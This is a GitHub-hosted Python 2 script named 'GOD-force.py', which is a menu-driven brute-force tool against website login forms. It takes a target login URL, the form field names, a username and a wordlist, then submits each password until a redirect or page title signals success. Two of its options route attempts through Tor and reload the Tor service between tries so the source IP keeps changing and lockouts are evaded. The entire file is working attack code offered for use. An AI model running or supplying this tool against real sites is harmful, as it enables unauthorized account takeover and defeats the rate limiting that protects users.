-
Notifications
You must be signed in to change notification settings - Fork 15
Expand file tree
/
Copy pathGOD-force.py
More file actions
174 lines (156 loc) · 7.12 KB
/
Copy pathGOD-force.py
File metadata and controls
174 lines (156 loc) · 7.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import mechanize
import sys
import os
import socks
import socket
import threading
import time
from mechanize import Browser
def runer():
os.system("sudo service tor reload")
SOCKS_PROXY_HOST = '127.0.0.1'
SOCKS_PROXY_PORT = 9050
def create_connection(address, timeout=None, source_address=None):
sock = socks.socksocket()
sock.connect(address)
return sock
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, SOCKS_PROXY_HOST, SOCKS_PROXY_PORT)
socket.socket = socks.socksocket
socket.create_connection = create_connection
brs = Browser()
brs.set_handle_robots(False)
response = brs.open('http://www.myexternalip.com/raw')
ip = response.read()
print "[GOD#] >>> now your using this ip :" + ip
os.system("clear")
print '''
=======================================================================================
_______ ______ _______ _______ ______ .______ ______ _______
/ _____| / __ \ | \ | ____| / __ \ | _ \ / || ____|
| | __ | | | | | .--. |______| |__ | | | | | |_) | | ,----'| |__
| | |_ | | | | | | | | |______| __| | | | | | / | | | __|
| |__| | | `--' | | '--' | | | | `--' | | |\ \----.| `----.| |____
\______| \______/ |_______/ |__| \______/ | _| `._____| \______||_______|
Build By mr.FD github.com/FDX100
NinjaHz
=======================================================================================
'''
print ("(1) To Start Attack using Redirect URL")
print ("(2) To Start Attack using Redirect URL + with Auto Proxy")
print ("(3) To Start Attack Using title of Website")
print ("(4) To Start Attack Using title of Website + with auto Proxy")
choice = raw_input("[GOD#] >>> ")
if choice == "1":
website = raw_input('[GOD#] >>> Website Login page URL : ')
website_s = raw_input('[GOD#] >>> Website Redirect URL after login successfully : ')
user = raw_input('[GOD#] >>> ID or Name of username input : ')
passw = raw_input('[GOD#] >>> ID or Name of password input : ')
email = raw_input("[GOD#] >>> Username or email : ")
file = raw_input('[GOD#] >>> wordlist file :')
print("===================================================")
with open(file,"r")as list:
for line in list:
word = line.strip()
br = mechanize.Browser()
br.set_handle_robots(False)
br.open(website)
br.select_form(nr=0)
br.form[user] =email
br.form[passw]= word
sub = br.submit()
if sub.geturl() ==website_s:
print('==============================')
print ('\x1b[2;31;40m' +'[GOD#] >>> This is Target password ==> '+word+'\x1b[0m')
print('==============================')
exit()
else:
print'[GOD#] >>> This is not your Password ==>'+word
print('[GOD#] >>> Sorry Password not found ')
if choice == "2":
os.system("sudo service tor start")
website = raw_input('[GOD#] >>> Website Login page URL : ')
website_s = raw_input('[GOD#] >>> Website Redirect URL after login successfully : ')
user = raw_input('[GOD#] >>> ID or Name of username input : ')
passw = raw_input('[GOD#] >>> ID or Name of password input : ')
email = raw_input("[GOD#] >>> Username or email : ")
file = raw_input('[GOD#] >>> wordlist file :')
print("===================================================")
with open(file,"r")as list:
for line in list:
word = line.strip()
t1 = threading.Thread(target=runer)
t1.start()
t1.join()
br = mechanize.Browser()
br.set_handle_robots(False)
br.open(website)
br.select_form(nr=0)
br.form[user] =email
br.form[passw]= word
sub = br.submit()
if sub.geturl() ==website_s:
print('==============================')
print ('\x1b[2;31;40m' +'[GOD#] >>> This is Target password ==> '+word+'\x1b[0m')
print('==============================')
exit()
else:
print'[GOD#] >>> This is not your Password ==>'+word
print('[GOD#] >>> Sorry Password not found ')
if choice =="3":
website = raw_input('[GOD#] >>> Website Login page URL : ')
website_s = raw_input('[GOD#] >>> Website Title after login successfully : ')
user = raw_input('[GOD#] >>> ID or Name of username input : ')
passw = raw_input('[GOD#] >>> ID or Name of password input : ')
email = raw_input("[GOD#] >>> Username or email : ")
file = raw_input('[GOD#] >>> wordlist file :')
print("===================================================")
with open(file,"r")as list:
for line in list:
word = line.strip()
br = mechanize.Browser()
br.set_handle_robots(False)
br.open(website)
br.select_form(nr=0)
br.form[user] =email
br.form[passw]= word
sub = br.submit()
if br.title() ==website_s:
print('==============================')
print ('\x1b[2;31;40m' +'[GOD#] >>> This is Target password ==> '+word+'\x1b[0m')
print('==============================')
exit()
else:
print'[GOD#] >>> This is not your Password ==>'+word
print('[GOD#] >>> Sorry Password not found ')
if choice =="4":
os.system("sudo service tor start")
website = raw_input('[GOD#] >>> Website Login page URL : ')
website_s = raw_input('[GOD#] >>> Website Title after login successfully : ')
user = raw_input('[GOD#] >>> ID or Name of username input : ')
passw = raw_input('[GOD#] >>> ID or Name of password input : ')
email = raw_input("[GOD#] >>> Username or email : ")
file = raw_input('[GOD#] >>> wordlist file :')
print("===================================================")
with open(file,"r")as list:
for line in list:
word = line.strip()
t1 = threading.Thread(target=runer)
t1.start()
t1.join()
br = mechanize.Browser()
br.set_handle_robots(False)
br.open(website)
br.select_form(nr=0)
br.form[user] =email
br.form[passw]= word
sub = br.submit()
if br.title() ==website_s:
print('==============================')
print ('\x1b[2;31;40m' +'[GOD#] >>> This is Target password ==> '+word+'\x1b[0m')
print('==============================')
exit()
else:
print'[GOD#] >>> This is not your Password ==>'+word
print('[GOD#] >>> Sorry Password not found ')
else:
print("[GOD#] >>> sorry wrong choice Bye :) ")